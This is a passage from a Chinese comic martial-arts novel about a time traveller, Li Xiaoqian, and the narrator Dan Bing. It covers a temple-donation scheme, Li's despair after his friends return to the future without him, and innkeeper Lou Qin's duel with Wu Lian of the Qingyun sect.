我以极快的速度将棉被攒成一个蛋,像举起巨石一般举起这个蛋大力扔了出去,砸向李小谦的脑袋。 棉被团成的蛋在空中舒展来,犹如一张张开的巨网,将我的视线隔断。 当棉被飘飘然落下之时,李小谦却不见了踪影,娄琴不知何时出现在门口。 她原本盈盈带笑的俏脸登时一怔,随即发出了杀猪一般的尖叫。 “啊!” 我也大叫了一声,慌忙寻找器物遮掩自己赤裸的身体。 不幸的是,我的衣服和棉被都已被我攒作一团扔了出去,正在距离娄琴不到两尺的地上。我总不能光着身子,还要扑倒娄琴身边吧。 慌乱之下,我灵机一动,纵身一跃,钻到了桌子下面。蜷着赤裸的身子,我尴尬之极。自我开蒙以来,第二次一丝不挂地暴露在女人的面前。 由此,我对李小谦的恨意又多了几分。 但是,眼前却有更重要的事等着我去办。那便是邵阳春送去的建庙钱。就想李小谦所说的那样,绝对不能让邵阳春和圆通见面。否则,我与李小谦约定的那一成香火钱便会化为泡影。 我和李小谦匆匆赶到雷峰塔。站在对面山脚下,等待着邵阳春的出现。 时机把握的十分准确。我和李小谦前脚刚到,邵阳春便亲自带着一队车马出现在我们面前。 “邵老板果然守信。” 李小谦笑盈盈地走过去,拱手抱拳。我比着李小谦的手势依样学样。 邵阳春象征性地向我们还礼,但目光却并未在我们身上停留,而是东瞧西看地不知道在找寻些什么。 李小谦笑了笑,说:“邵老板不必找了,圆通大师不在这里。” 邵阳春一怔,漏出一丝不悦,说:“那我们所商定的事......” 李小谦一摆手,打断了邵阳春,说:“我们说过的事大师自然是认可的。但是,圆通大师毕竟是得道高僧,怎能受这些俗物。大师已将此事全权交由我......”李小谦“我”字刚出口,眼角余光向我瞥来,他嘿嘿一笑,继续说:“交由我和旦丙处理。” 邵阳春似乎有些迟疑,半晌没有说话。 李小谦问:“邵老板有什么顾虑?” 邵阳春侧转过身子,说:“这钱我需亲自交给圆通大师。否则,我便要如数带回去了。” 完了!我便知道这买卖没有那么好做。邵阳春又不是傻子,这样一大笔钱,他见不到圆通,怎么可能让我们三言两语便带走了。 我这样想着。李小谦却不紧不慢地说:“邵老板。莫非你拿了佛祖的好处不算,还要毁了圆通大师的名声?” 邵阳春身躯一震,表情上有些慌乱,他说:“此话怎讲?” 李小谦笑道:“你出钱修建庙宇,本来是积功德的好事。不过,我们体恤你家道中落,不忍看你平白付出这些银两,因此才许了你三成的香火钱作为回报。但是,佛家的寺庙毕竟不是买卖,这些俗物交易太见不得光。如果传扬出去,佛门的声誉还要不要了?圆通大师的名声还要不要了?” 邵阳春有些愤怒,他厉声说:“那你便是要反悔了?!” 李小谦说:“当然不是。我和旦丙都是俗人,圆通大师只需要安心礼佛,俗事都交由我二人打理。即便是日后此事传扬出去,也是我二人的罪过,与圆通大师无关。我这么说,你可明白?” 邵阳春恍然大悟,连连点头。 但我却没法接受这样的说辞。按照李小谦的说法,我便成了圆通身前的挡箭牌。我当即提出抗议,说:“我不愿意!” 李小谦瞪大双眼,他肯定没有料到,这种紧要的时刻,我会突然向他发出质疑。他一把将我扯到一旁,低声吼道:“你想干什么?” 我不忿地说:“我凭什么要替圆通承担罪过!” 李小谦几乎要崩溃了,他胳膊绕过我的脖颈,使劲往下压,低声吼着:“钱还要不要了?要不要了?要不要了?!” 他连续的质问,让我倍感踌躇。 这钱的诱惑......实在多过为圆通承担罪责的不甘。 我点了点头,小声说:“想要!” 李小谦低声说:“想要就闭上你的嘴!不要搅了老子的好事。” 邵阳春仍然在盘算着,没有理会我们之间的小动作。我感觉邵阳春一旦开始对金钱有所算计之时,便会变得异常专注。仿佛这世间所发生的一切都与他无关。我和李小谦都这样明显了,他却丝毫没有反应。 商人的本质! 李小谦呵呵地笑着,说:“邵老板可还有顾虑?” 邵阳春依旧盘算着,半晌,说:“我还有一个要求!” 李小谦说:“请讲!” 邵阳春说:“这钱不能交给你们。” 李小谦登时转为怒色,摆出一副开口要骂人的架势。邵阳春慌忙制止,说:“你听我说,我会派一个人来这里管理,并且,修建寺庙的工匠由我来招募!” 李小谦问:“你要派谁?” 邵阳春一努嘴,说:“邵丑!” 又是邵丑!这个报复心比我还要强的家伙! 我刚想提出抗议。李小谦却痛快地答应了,他从怀中掏出两张丝绢,上面密密麻麻地几排小字。李小谦将丝绢递给邵阳春,说:“这是合同......哦,不!是千照!” 邵阳春两眼放光,连忙将那两张丝绢接过,从上至下,仔仔细细地查看了一番,满意地点了点头,收到怀里,露出了久未地笑容,说:“很好,很好!” 李小谦攥住邵阳春地手,上下摇了摇,说:“合作愉快!” 邵阳春一怔,登时会意一笑,说:“愉快,愉快得很!” 第一卷 最后一个武林盟主 第二十章 书院 就这样,我们收下了邵阳春送来的三千两银子。 邵丑受邵阳春的指派,成了修建寺庙的总监工。他为人机敏,做事雷厉风行,仅仅用了一天的时间,他便召集了百余名工匠,随即在雷峰塔对面的荒山上,刨土挖山,修建庙宇,干得如火如荼。 圆通见工事进展顺利,多日以来悬着的一颗心总算落地。虽然他不说,但是眼中对李小谦已不可抑制地流露出赞许之色。接下来的几天,他忽然变得诡谲难测,行踪如魅,飘忽不定。有时候,几天都见不到他的人影,突然某个时刻他便从我身后飘了出来,顶着他那一抹雪亮的光头,冲着我淡淡地说:“阿弥陀佛,小施主近来可好?” 娄琴客栈成了我和李小谦的栖身之所。 那日与娄琴坦然相见之后,再见娄琴我都感到十分地羞涩。然而,娄琴却似乎是什么事都没有发生过一样,依旧是好吃好喝地招待着我们,并且从来不会问我们身上的银两是否足够给她结算。由此,使我心中稍稍宽解,对那日的尴尬之事也不再介怀。 渐渐地,我也开始习惯了寄宿娄琴客栈的生活。 因为安逸,平和,还有说不尽地舒坦。 唯独见到李小谦之时,会油然升起一股怒火,总想着伺机将他毒打一顿,以雪他频频作弄我之耻。 但是,奸诈狡猾的李小谦,总是变着花样地躲过我的报复。甚至许多时候,我还要吃上一些暗亏,由此我对他的仇恨也与日俱增。 又一日。天气格外地清朗。 李小谦一大早便扯着我出了娄琴客栈。一路向北,不知去往何处。 我问:“一大清早,你拉着我去什么地方?” 李小谦回过头,向我神秘一笑,说:“今天你有福了,我带你去认识一下我的三个好基友!” 好基友? 这又是什么意思? 刚刚陷入思索的我很快便放弃了。这个九百年后来的怪人,说些让人不能理解的话太正常了。我也没有必要去执着他用词的含义,过于执着了,便会像重阳子那样,陷入“艾斯比”的桎梏,无法自拔。 李小谦带着我一直出了临安府的城门,又向走了十几里路。到达之时,已近晌午。 我累得气喘吁吁,埋怨李小谦:“你为什么不向娄琴借两匹马?” 李小谦嘿嘿一笑,表情略显淫(脱敏)荡,说:“我就喜欢没有码的!” 我不解,问:“为什么喜欢没有马?骑马不是更快,更省力吗?” 李小谦说:“你不懂!我去海南寻祖也没有骑马!” 我十分惊讶,问:“你从九百年后来到这里,就是为了寻祖吗?” 李小谦叹了口气,说:“别提了!要不是借住在我宿舍的那个理工男乱搞什么发明,老子才不会来这万恶的旧社会寻祖呢!” 我怔了怔,说:“没听懂!” 李小谦无奈地摇了摇头,说:“余之同窗,乃杂学之士,是日,研新技以示余,误将余等四人度至此,不得归,汝懂乎?” 我摇了摇头,说:“不懂!” 李小谦说:“靠!没文化,真可怕!” 他刚说完,我一巴掌拍在了他的脑袋上,“啪”的一声响,打得李小谦一个趔趄差点趴在地上。 李小谦大吼:“你干什么?” 我说:“这句我听懂了!你嘲笑我不识字!” 就这样一路吵闹着,我和李小谦来到了一处宅院面前。这宅院依水而建,两排翠柳垂下,风一吹,一阵摇摆,发生“飒飒”的声响。 不得不说,这里的环境看上去就让人有一种心旷神怡的感觉。 宅子大门的正上方挂着一个匾额,上门写了四个大字。我问:“这是什么?” 李小谦说:“柳湖书院!”然后,李小谦长吁一声,大喊:“老麦,鸭子,春卷,老子回来了!” 说罢,他上前用力将门推开。 “吱呀”一声响,门开了。 映入眼帘的却是一个荒废依旧的院子,齐腰高的杂草长得满地都是。李小谦站在门口愣了半晌,忽然,他猛地冲进了院子,穿过满院的杂草,一路狂奔到正中的房子前。 半掩着的房门,被李小谦一脚踹开。 “老麦!” 李小谦大声喊着,冲进屋子,便再也没了动静。 我十分好奇,沿着李小谦踩出的路走到正中的房子前。我探进身子,只见昏暗的屋子里,李小谦的身影呆呆的站在桌前,手中捧着一张纸,瑟瑟发抖。 一向玩世不恭的李小谦,此时只能用“心如死灰”四个字形容。他表情之中充满了绝望。 我问:“怎么了?” 李小谦突然仰天大骂:“老麦!我日你祖宗!” 他这一声叫喊,满含悲怆与愤怒。让我不禁想起了马维进。当日,官府围剿雁荡山,漫天火箭射入山寨之时,马维进看着他多年苦心经营的灵寨化作一片火海,也是如李小谦这样,仰天大骂:“是哪个狗(脱敏)娘养的劫了官府?!” 看着李小谦这个样子,我动了恻隐之心,轻声询问:“到底怎么了?” 李小谦双手缓缓垂下,他手上一松,那张纸缓缓飘落在地上。李小谦没有回答我,而是向断了魂一样地转身走了出去。 我看着李小谦游离的背影,对那张纸更加好奇。 那上面到底写了什么? 李小谦的舍友都去了哪里? 一切的谜团,或许都在那张纸上。我弯腰将纸捡了起来,一张微微发黄的纸上工工整整地写了几行字。我完全看不懂,便将那张纸小心地收入怀里,出门去追李小谦。 回去的路上,李小谦始终一副失魂落魄的模样,走路东倒西歪,就像喝醉了一样。有好几次差点撞到树上。我上前拉住他的胳膊,他便双目无神地看着我说:“你说我撞死了,会不会就回去了?电视剧里都是这么演的。” 他竟然有了求死之心。 虽然我不知道他口中所说的电视剧所指何物,但我此刻认识到,或许是有什么我不知道的事误导了李小谦。 某些时刻,我很想李小谦干脆撞死了算了。这样,今后就不会有人来作弄我了。 但是,当他绝望的眼神望向我的那一刻,我内心之中却有一种说不出的不舍。毕竟,那个时候,他是我生命之中唯一熟悉的人。 如果李小谦死了。我不能确定逃出雁荡山时所感受到的那种孤独会不会再随之而来。 我害怕孤独。 于是,开始担心李小谦真的会一头撞死在树上。索性,我将他的手臂死死地攥住。即便是我再怎么用力,李小谦也丝毫没有反应。 终于,回到了娄琴客栈。 李小谦晃悠悠地走了进去,一屁股坐在靠门的一把椅子上,随即如烂泥一样瘫软下去,直勾勾地盯着地面,一动不动,仿佛那一坐便抽去了他全身所有的力气。 “他怎么了?” 娄琴发现李小谦神态有些异常,走到我跟前关切地询问。 我摇了摇头,说:“不知道。”忽然,我想到了怀里的那张纸,便将它掏了出来,递给娄琴,说:“他说要去柳湖书院找他的.....舍友!舍友没找到,发现了这么一张,他看完之后,就成了这样子。” 娄琴接过那张纸,念了起来:“老李,我......”娄琴眉头一锁,将纸递到我面前,指着一个字问:“这个是什么字?” 我诧异道:“你不认得?” 娄琴摇了摇头,说:“我虽不敢说是什么学识渊博,但寻常的字却也都能认得。只是这个字......却从未见过!” 我点了点头,心想,肯定是九百年后的字。但我却不能这样说,出卖李小谦倒无所谓,吓坏了娄琴恐怕不妥。于是,我说:“你跳过去,先看别的。” 娄琴努了努嘴,说:“好吧。”她把那张纸端在脸前,继续念道:“老李,我什么走了。古籍上什么,五星什么珠的力量可以打什么什么空隧道,今夜就是五星什么珠,百年什么得一遇,情况什么急,我什么不能等你了。回去以什么,我去找政府,希望科什么家能找到救你回去的方法?!” 这都是什么啊! 竟然有这么多娄琴不认得的字。这样一念,将我的好奇心吊到了天上。我实在忍不住,一把抓起李小谦,大喊:“那些什么是什么啊!” 李小谦涣散的目光慢悠悠地聚在我的脸上,淡淡地说:“旦丙!他们走了!把我一个人扔在这里了。” 我看着李小谦绝望的眼神,心头一软,将他重新扶坐在椅子上,叹了口气,劝解的话一句也说不出口,只能呆呆地看着。 娄琴上前摸了摸李小谦的脑袋,安慰道:“好弟弟,不回去就罢了,以后在姐姐这里,姐姐不会亏待你的。” 李小谦木讷地仰起头,忽然,一滴晶莹的泪珠滑下。 李小谦,竟然哭了。 娄琴忽然愣住了,我从她的表情中看到了慌乱无措,她唇齿微动,欲说还休,不知如何是好。许久,娄琴轻叹一声,问:“想吃点什么?姐姐亲自给你做!” 李小谦喃喃地说:“来个全家桶吧!”话刚说完,他又悠悠地补了一句,说:“哦,对了。可乐不要加冰!” 第一卷 最后一个武林盟主 第二十一章 闯祸 从柳湖书院回来以后,李小谦的精神状况日渐萎靡。开始,他还能自己像游魂一般地晃荡一阵,到后厨去点一些莫名其妙的饭菜,比如芦荟味的圣代、丝袜奶茶......搞得后厨的大师傅们一个个都是云里雾里,不知所措。 后来,他便整日整日地坐在娄琴客栈的门口发呆,清晨看日出,傍晚看日落,中午晒太阳,有人经过他便抬起头痴痴地看上两眼,时不时地还会突然冒出一两句晦涩难懂的言语。有一次,我见他在门口晒得嘴唇发白,便好心端了一杯茶过去,没想到,他喝完茶水,忽然抬起望着我,说:“旦丙,带手机了吗?我想给我妈打个电话!” 久而久之,大家见李小谦神态飘忽、言辞怪异,都以为他是疯了,于是便不再理会。唯有娄琴,依旧是日复一日地安慰着李小谦。纵使不奏效,但仍然坚持着,不肯放弃。 然而,李小谦并没有被娄琴的坚持感化。 他依旧是那副半疯半痴的样子。最后,李小谦干脆就躺在床上,一动不动,如同活死人一般。对娄琴送去的饭菜置之不理,也不说话。 娄琴看在眼中,急在心里。频频找我商议,我对这种事情向来没有主意,无论娄琴说什么,我都点头称是。几次之后,娄琴便不再找我了。 又一日。我在娄琴客栈厅堂之中帮着娄琴收拾桌椅。毕竟自己寄宿于此,不能白白地混吃混喝。 刺目的骄阳穿过门框,在地上投下一道方形的光影。突然,方形的光影之中出现一道人形的黑斑,腰间似乎别着兵刃。 我抬起头,只见一个干瘦高挑的男子站在门口,目光在堂中一扫而过,大喝一声:“来人,上酒!” 他嗓音浑厚有力,与他皮包骨头的身躯十分不相称。 我对这种牛气哄哄的人向来没有什么好感。我仔细打量着这个精瘦的男子,除了瘦的让人担忧的身架子,最引人注目的便是他横在前额上的一道三寸有余的长疤。看上去,似乎是被什么利器砍的。 江湖之上,打打杀杀的事情常而有之。脾气火爆的武林人士,一言不合,便刀剑相向。因此,剑伤刀疤逐渐成了武林人士炫耀本领的资本。 但实际上,这种炫耀并无裨益。 当年,马维进也受了这种江湖风气的影响,命人用长刀愣生生地在他左臂上划了好几道。伤愈之后,马维进兴冲冲地出门抢劫,面对战战兢兢的路人,他有意撸起袖子,将骇人的刀疤展现在别人面前,颇为自傲。 但是,当官府冲进灵峰寨时,领头的官兵大喊:“大家分头去找!胳膊上有疤的就是马维进!” 逃跑时,我看见马维进手握长刀,望着自己被砍得触目惊心的那条胳膊,似乎是想起了曹操割须弃袍的典故,想要发狠舍去。但他长刀举起又放下,最后仰天长啸:“谁帮我把胳膊砍了!” 然而,大家都自顾自地逃命,没有一人再愿意帮他。 我审视着这个精瘦的男子,对他脑门上的疤起了好奇之心。不知道那道疤,是不是像马维进那样故意为之。 不过,看着眼前的这个人,我不禁为马维进庆幸。幸亏他当时没有把刀疤挂在脸上,不然最后他仰天长啸的便是:“谁帮我的脑袋砍了!” “这位客官想吃点什么?” 娄琴见我没有反应,赶紧从柜台上走来出来,搔首弄姿地走近,笑盈盈地问着。 带疤的男子没有回答,走到靠墙的一张桌子前坐下,把头高高扬起,仿佛是在炫耀他脑门上的刀疤,神情不可一世。坐定之后,他缓缓解下腰间的配剑,往桌上一放,发出“啪”的一声脆响。 带疤男子问:“你们这小店......”他说“小店”两个字时,刻意拖长声音,加重了语气,以表示强调。只听他继续说:“能有什么好饭菜?” 娄琴呵呵一笑,说:“那就看客官想吃什么了!” 带疤男子哼了一声,说:“好吃好喝地伺候着便是。菜要做得精致,酒要上了年数的陈酿。” 娄琴没有理会,笑盈盈地转过身去。刚刚背过身子,笑脸焕然消散,径直向后厨走去。 看得出,娄琴对这个带疤男子十分厌恶。 我心生一计,决定替娄琴出一口气,好好羞辱一下这个不可一世的狂徒。 于是,我走到带疤男子跟前,对他说:“我给你讲个故事。从前有一个傻子,不管别人问他什么,他都说没有。你听过这个故事吗?” 带疤男子瞥了我一眼,着手抓起桌上的剑,拇指一推剑格,“铮”的一声,寒光乍现,冷冷地说:“滚!” 我并不死心,追问:“你到底听没听过!” 带疤男子勃然大怒,右手一拍桌板,霍然起身,长剑脱壳而出,“嗖”的一声架到了我的脖子上,他厉声说道:“你活得不耐烦了?!” 我双足一软,险些摊到在地上。 为什么和我预想的不一样呢? “住手!” 千钧一发之际,娄琴大喝一声,身形一晃,如兔起鹘落,闪到带疤男子跟前。待我反应过来之时,只见娄琴手中提着茶壶,壶嘴已抵住剑脊。 娄琴微微一笑,声音中却带着冷冷的质问,说:“这位客官,不知因何要在我娄琴客栈中动刀动剑?” 带疤男子长剑向里一推,但剑脊已被娄琴用壶嘴死死的抵住,推进不了半寸,他眉头蹙起,说:“好俊的功夫,是我看走眼了。”说罢,将长剑收了起来,向娄琴微微抱拳,说:“敢问姑娘是哪路的高手?” “呵呵。”娄琴吟吟带笑说,“哪里是什么高手,只不过是学了两招粗浅的功夫罢了。客官请坐,好酒好菜马上送到。” “不必了!” 带疤男子大手一挥,指着我,说:“这小子不知天高地厚,竟然想要戏弄老子,今天看你面子,我可以不杀他。” 我松了一口气。小命终于保住了。 带疤男子继续说道:“但是,这小子要向我磕头赔礼,否则......”突然,他单手向下一沉,只听“砰”的一声闷响,随即“卡啦”一声,他跟前的桌子登时碎裂成了一堆烂木头。 “哎呀!” 娄琴大叫一声,撸起袖子,以迅雷不及掩耳之势,“啪”地抽了带疤男子一个耳光,骂道:“瞎了你的狗眼!敢拍烂老娘的桌子!” 带疤男子本想耍耍威风,却没想到娄琴竟为了一张桌子出手抽了他一记耳光。客栈里人虽不多,但总也有几个食客,加上店里的伙计,十几双眼睛直直地盯着带疤男子。 娄琴气呼呼地伸出一只手,说:“五两银子,你赔我的桌子。” 众目睽睽之下,先被一个女子抽了一个耳光,又被索要赔款,带疤男子感觉颜面尽扫,怒喝一声:“放你娘的......” “屁”未出口,又是“啪”的一记耳光,还是原来的位置,还是原来的力道。此时,带疤男子消瘦的脸颊上,已经被抽出了一个明显的红印。 带疤男子大怒,向后一纵,跃出去一米多。“铮”的一声,长剑出鞘,接着一招蛟龙出海,并步直刺向娄琴的小腹。 娄琴轻巧地向后退了几步,带疤男子伸直了胳膊加上剑的长度距离娄琴还有半米的距离。此时,他双膝下沉,双脚并拢,动作死板而笨拙,只好收回长剑准备再出第二招。 但是,第二招还没摆出架势,娄琴已经顺手抄起了桌子上的一个盘子,向着带疤男子一掷。盘子横飞出去,几粒干果在空中四溅,为飞出盘子增添了许多气势。 “啊!” 带疤男子惨叫一声,只见他被娄琴抽红的那半边脸上赫然出现了一道寸余的伤疤,鲜血直流。再看那个盘子,擦过带疤男子的脸,随后深深地嵌入了他身后的墙面之中。 带疤男子愕然,他已经意识到,自己根本不是娄琴的对手,便索性收起了长剑,指着娄琴说:“好!你等着,你等着!” 说罢,便向门外跑去。 “站住!” 娄琴大喝一声。带疤男子登时止住脚步,颤巍巍地回过身子,问:“怎......怎么?” 娄琴指了指那张被他拍碎的桌子,说:“赔了老娘的桌子再走!” 带疤男子面露难色,说:“我......我其实......没带钱。” 原来,他是来吃白食的! 娄琴冷笑,说:“吃霸王餐吃到老娘这里来了!”她用手一指带疤男子的配剑,说:“把那玩意儿留下!” “这......” 带疤男子十分为难。要知道,江湖上的人被人夺取兵器乃是奇耻大辱。对于一个用剑的人,剑即是生命。 但是,这个带疤男子却不能称得上一个合格的剑客,他狠狠地将长剑掷在地上,扭过头去,潇洒离去。 娄琴捡起那柄剑,在手中掂了掂,又将剑拔出剑鞘。突然,眉头紧蹙,盯着剑身喃喃念道:“青云!” 第一卷 最后一个武林盟主 第二十二章 神剑 曾经的江湖武林以淮水为界,划分南北。北派武林,以少林派为首,赫赫有名的还有华山、泰山、北冥、东海,五大门派。 建炎二年,扬州城一战,北方五大门派尽丧于金兵之手。其余的北方门派,或毁于战乱,或南逃至闵浙、两广,加入了南派武林的阵营。 正所谓,北少林,南青云。 南派武林以福建的青云派为首。青云派建派不足百年,之所以能成为南派之首,都是因为他们祖师爷柳白杨,江湖人称“一剑刺青龙”,剑法十分厉害。曾以自创的十招青云剑法,横扫北方各大门派的高手。他声明最盛之时,本可以趁势而上,再扫南派武林,成为当之无愧的天下第一。但不知道为什么,他却骤然收手,与南派武林打成一片,从此和谐相处。 或许,这便是远攻近交的谋略吧。 除了青云派,南派武林之中数得上的门派还有四个,分别是南华、括苍、龙虎,还有一个算不上正规门派却极负盛名的月牙山庄。 娄琴所缴获的这把剑刃上,便刻了“青云”二字。娄琴泛起了嘀咕,她并不是胆小怕事的人。从某些方面来看,她可以说是一个典型的刚中柔外的性格。 并且,娄琴的武功高不可测,单是能将盘子嵌入墙内的功力,也绝然不是一般的高手能够比拟。但是,对莫名其妙地惹上了青云派这事,娄琴却显得有些不安。 我想上前慰问几句。但娄琴还没等我开口,便指了指被带疤男子拍烂的那张桌子,说:“收拾干净。”然后,握着那柄剑向后厨走去。 李小谦不知道什么时候出现在我身旁,他目光仍旧无神,淡淡地说:“旦丙,你又惹祸了。” 我白了李小谦一眼,说:“与你无关。” 李小谦淡淡的说:“当然与我无关。你们旧社会的事,都与我无关。” 突然,李小谦仰天大喊:“老子是新时代优秀青年!”然后,又像游魂一样,向楼上飘去。 疯了!李小谦彻底疯了! 我摇头惋惜,绕过地上的一堆烂木头,看着深深嵌入墙体的那个盘子。它竟然是一个陶土烧制的普通陶盘,深入墙中却不损伤分毫,足可见娄琴的武功有多么厉害。我想要将它拔出来,使劲拽了几下,半片盘子已深深嵌入,纵使我如何用力,也无法撼动半分。 我不由地惊讶。 娄琴,到底是怎么样的人物? 我从小随着八矛师父浪荡江湖,听他说过很多江湖高手的奇闻轶事。不知是八矛师父的见闻有限,还是娄琴的功夫太过于高深。总之,这样的高手,我没有听说过。 这一天,很快便过去了。 一整天里,娄琴都是一副惴惴不安的样子。她时不时地便要将那柄剑拿出来查看,反复查看剑身上的“青云”二字,不知是想确认些什么。 第二天,天刚蒙蒙亮。娄琴客栈的门外便听到了一阵急促的敲门声。 我从房中匆匆跑出来。这时,娄琴已差人将木板取了下来。 门口站着四个衣着齐整的男子,其中就有那个带疤的男子。 娄琴笑吟吟地说:“客官来得好早啊。小店还未营业呢。” 带疤的男子先站了出来,说:“少废话!老子是来找你算算昨日的帐!” 娄琴“哦”了一声,从伙计手中拿过算盘,熟练地打着珠子,发出“噼啪噼啪”的声响,一边说着:“昨天,这位大哥在小店里损坏了一张桌子,要五两银子,点了几样小菜,加一两银子,一共是......六两银子。” “老子算得不是这个帐!”带疤男子咆哮着。 “哦?”娄琴笑道,“那你是要算这个帐吗?”她右手握拳,左手压在指节上一按,发出“咔咔”两声响。 带疤男子下意识向后退了两步,躲到一个俊俏男子的身后。但由于他身材高挑,俊俏男子无法将他全然挡住,漏出多半个脑袋,双眼中闪着惊恐的目光。 俊俏的男子冷哼一声,骂道:“废物!”然后,向着娄琴郎朗声道:“在下青云派武炼,请教姑娘芳名。” “武炼?”娄琴微微一思索,神情立时变得凝重,说:“神剑无形?!” 武炼微微一笑,露出傲慢的表情,说:“那都是江湖朋友的谬赞。”他沉吟片刻,继续说道:“昨日,我师弟带伤回去,说是在贵店受了些羞辱。今日,我们师兄弟四人特地前来,希望姑娘能把昨日肇事之人交给我们处理。另外......” 他话说了一半,戛然而止。此时,我一颗心跳到了嗓子眼上,感觉只要一张嘴就要蹦出来了。青云派的这几个人,分明就是来找我算账的。 不过,武炼所说的“另外”,不知道还有什么意思。 娄琴笑吟吟地说:“另外怎么样?” 武炼说:“还是先请教姑娘的芳名。” 江湖上的人都有这种臭毛病,非要对人家的名字刨根问底儿。 娄琴依旧盈盈带笑,和气地说:“小女子姓娄名琴,正是这招牌上的两个字。”她一只手朝上指着娄琴客栈的牌匾。 四个人顺着娄琴手指所指的方向抬头向上望。由于已经站到门槛边上,一抬头,没有看见,纷纷向后退了几步,才看清楚“娄琴客栈”的招牌。 武炼落下脑袋,平视前方,突然觉得他们的行为有些滑稽,随即尴尬地咳了两声,说:“昨日,我听我师弟说,姑娘只手将陶盘嵌入墙体。”他目光下意识地向厅内望了一眼,似乎是看到墙上插着的那个盘子,神情微微一变,继续说:“不知娄姑娘是哪门哪派的高手?” 娄琴说:“无门派!” 武炼喃喃地说:“五门派?没听过啊......”他扭过头去看向另外三个人,问:“五门是哪里的门派?你们知道吗?” 带疤男子轻咳了两声,趴在武炼耳朵上说了两句。武炼登时一脸尴尬,说:“娄姑娘不愿说就算了。” 娄琴呵呵一笑,说:“不知道神剑无形武先生,那个另外之后,还有什么指教啊?” 武炼正色道:“我青云派在江湖上也是有头有脸的门派,我师弟昨日一时失手,败在娄姑娘手下。这传扬出去,恐怕有损我青云派的名声。因此,今日我特来讨教,希望和娄姑娘一比高下。” 娄琴嘟起嘴巴,撒娇式地说:“哎呦,神剑无形的江湖高手怎么能跟我这小女子动手呢?这不是要欺负人家嘛!” 娄琴这娇骚的一声,配合着扭动的身子,不只是一个武炼,在场所有人,也包括我在内,顿感全身血气翻腾,犹如受了内伤一般。 最夸张的是带疤男子,一只鼻孔里直接冒出血来。 娄琴真是厉害,一句话便将一众人震出了内伤。难道这就是传说中的杀人于无形,无招胜有招? 我心里这样想着。却见武炼已经箭步扑向了娄琴。 娄琴神色凝重,连连向后退了数步。她一边后退,一边将双手交错成一个十字,两只手频频煽动,恍惚间,我看到她双手之间闪烁着金灿灿的光,似乎那一双手掌之下隐藏了什么厉害的兵器。 武炼也发现了这一点,他脚步戛然而止,站在原地仔细观察。 娄琴微微一笑,从左边袖口掏出一个巴掌大小的铜镜,从右边袖口掏出一把银光闪闪的梳子,停下脚步,对着镜子梳着额前的几缕乱发。 武炼这才知道自己被耍了,勃然大怒。又一个箭步扑个过去。 娄琴将铜镜和银梳收了起来,又连连向后退了几步。一只手插到后腰上,做出一个蓄势待发的架势,露出狡黠的笑容。 武炼又停了下来,两眼睛直勾勾地盯着娄琴纤细的小腰。 娄琴将手从腰间抽了出来,摊开手掌,空空如也,笑道:“神剑无形的武先生,喜欢这样盯着姑娘的屁股看吗?” 武炼一张脸登时憋得通红,被气得“哇哇”大叫,忽然,他右手五指并拢,向娄琴一挥。 我似乎看到一道光。 一道亮闪闪的光,从武炼的指尖飞出,像一把明晃晃的剑,带着雷霆震怒的气势,扫向了娄琴。 我大叫一声:“小心!” 身后突然站出一人大喊:“作甚!” 我扭头一看,只见与带疤男子并列站着的一个小个子少年跳了出来。我正疑惑间,突然听见耳旁一声惨叫。 “啊!” 是娄琴! 我急忙回头,只见娄琴的左臂上赫然出现一道殷红的印子。那道殷红正在以极快地速度向四周扩张,很快就染红了一大片。 “娄姑娘!” 武炼慌忙上前,想要搀扶娄琴,手伸到了跟前,却又收了回来,说:“你为何不还手?” 娄琴按着伤口,惨然一笑,说:“神剑无形武先生果然名不虚传,小女子甘拜下风。” 我上前扶住娄琴,怒视武炼,又看了一眼那个小个子的少年,怒气填胸,但不敢发作。 武炼很惭愧,他本想出手跟娄琴分个高低,维护一下青云派的名声。但没想到,一出手却伤了娄琴。他沉默良久,向着娄琴躬了躬身子,说:“娄姑娘,在下无礼。”他又说:“今日之事,就此作罢,在下告辞。” 娄琴冷冷地说:“不送。” “唉!”带疤男子蹦了出来,指着我大叫:“那小子,你......” “小心!”武炼大喝一声:“把你师哥拉走!” 小个子的少年随即抓住了带疤男子的胳膊,说:“是!” “等等!” 突然,娄琴将那四个人喝止,四人同时回头,只见娄琴命伙计从柜台下取出一把剑,交还给武炼。武炼收下那剑,向着娄琴一抱拳, 带疤男子狠狠作罢,四个人慌乱地消失在我们的视野之中。 第一卷 最后一个武林盟主 第二十三章 受伤 娄琴受伤了。 这一切皆是因我而起。因为我的一时兴起,无端惹怒了一个脸上有疤的汉子,然后他喊来自己神剑无形的师兄,和娄琴展开了一场事关他门派声誉的决斗。 听起来很震撼。这应该是一个很符合江湖逻辑的决斗。 江湖人,脸面比生命还重要。 但是,这件事让我感觉非常的愧疚,娄琴的伤来得实在太没来由。但娄琴并没有丝毫要责怪我的意思。她依旧是笑盈盈地与我讲话,给我做可口的饭菜。仿佛一切都没有变化。只是她肩膀上的伤,阴透了白色的纱巾,露着瘆人的鲜红。 这件事之后,我始终有两个问题想不明白。 其一,武炼大手一挥,我曾经看到一道白光闪过,之后,娄琴就受伤了,而我所看到的那道光是什么?是我的幻觉吗? 其二,以娄琴的身手,她不应该会躲不过武炼的大手一挥。可是,为什么她会轻易被武炼所伤? 思来想去,不得其解。 娄琴受伤之后的第三天,我实在憋不住了,带着这样两个疑问跑去问娄琴:“当时武炼一挥手,为什么会有一道光射出来?” 娄琴笑了笑,她伸出手摸了摸我的额头,就像抚摸着一个孩子。让我又一次感受到娄琴滑腻的玉手上传出的温柔。 娄琴说:“那是一股气,由内力凝发出来的剑气。” “剑气?”我不解,追问:“他没有用剑,哪里来的剑气?” 娄琴说:“你知道他为什么叫神剑无形吗?” 我摇了摇头。 娄琴继续说:“武炼之所以能够成名,就是他自创了一套凝气成剑的功夫。把自己的内力逼到指尖上,瞬间激发出去,这种威力可以比拟世间任何削铁如泥的神兵利器。当年,这个武炼虽然是青云派的大师兄,但是武功造诣一直不强,在同门之中默默无闻。后来,他突发奇想,闭门苦思,终于创出这门凝气成剑的功夫。他出关之时,正赶上十年一次的老君山南北武林大会。武炼自告奋勇,代表南派武林首战,对阵北派武林名秀,号称‘一掌定乾坤’的北冥派高手韩钰。那个时候,江湖上都不知道武炼自创了这样一种凝气成剑的功夫。韩钰刚刚摆出架势,武炼一挥手,韩钰的一条胳膊就被切了下去。在场的人一片哗然,都说武炼使用了暗器,一时间北派武林跑出去十几名高手,将武炼团团围了起来。武炼为了自证清白,脱光了上衣,走到一棵百年老树前,大手一挥,腰一般粗的树干被齐茬斩断。从此,神剑无形,一战成名。” 